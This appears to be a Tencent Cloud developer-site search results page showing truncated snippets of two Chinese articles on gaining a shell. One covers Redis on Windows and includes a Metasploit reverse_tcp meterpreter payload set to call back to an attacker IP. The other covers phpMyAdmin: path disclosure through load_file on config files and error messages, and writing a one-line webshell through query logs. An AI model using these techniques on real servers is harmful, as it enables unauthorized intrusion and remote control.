文档建议反馈控制台
首页
学习
活动
专区
圈层
工具
MCP广场
文章/答案/技术大牛
发布

Redis在Windows环境下Getshell方法小结

Redis如果部署在Linux服务器上还好一些，配合nc可以很方便的就拿到了shell。但是如果部署在Windows环境下就比较鸡肋了，虽是这样说，但是也有一些getshell的办法。...Menu/Programs/startup/" OK 192.168.230.134:6379> 0x04 几种Getshell方法 方法其实挺多的，但是比较鸡肋，都需要目标主机重启才可以实现… 一、.../msh_shell) > set payload windows/meterpreter/reverse_tcp payload => windows/meterpreter/reverse_tcp...msf5 exploit(windows/msh_shell) > set lhost 192.168.230.133 lhost => 192.168.230.133 msf5 exploit(windows...四、利用web服务 如果有Web业务的话，可以结合web业务进行Getshell。也是比较鸡肋，起码网站的根目录你得知道。 [root@localhost src]# .

5.8K30
    • 您找到你想要的搜索结果了吗？
    是的
    没有找到

    phpMydmin的GetShell思路

    配置文件爆路径：如果注入点有文件读取权限，可通过load_file尝试读取配置文件 # Windows c:\windows\php.ini...# php配置文件 c:\windows\system32\inetsrv\MetaBase.xml # IIS虚拟主机配置文件 # Linux /etc/php.ini...要求单引号没有被过滤(gpc=off)且服务器默认返回错误信息。 www.abc.com/index.php?id=1' 错误参数值爆路径：尝试将要提交的参数值改成错误值。...id=-1 Nginx文件类型错误解析爆路径：要求Web服务器是Nginx，且存在文件类型解析漏洞。在图片地址后添加/x.php，该图片不但会被当作php文件执行，还有可能爆出物理路径。...再通过查询写入一句话木马，此时该木马会被日志记录并生成日志文件，从而GetShell。

    92920
    点击加载更多

    相关资讯

    热门标签

    更多标签

    活动推荐

      运营活动

      活动名称
      广告关闭

      腾讯云开发者

      扫码关注腾讯云开发者

      扫码关注腾讯云开发者

      领取腾讯云代金券

      热门产品

      热门推荐

      更多推荐

      Copyright © 2013 - 2026 Tencent Cloud. All Rights Reserved. 腾讯云 版权所有

      深圳市腾讯计算机系统有限公司 ICP备案/许可证号：粤B2-20090059 粤公网安备44030502008569号

      腾讯云计算（北京）有限责任公司 京ICP证150476号 | 京ICP备11018762号

      领券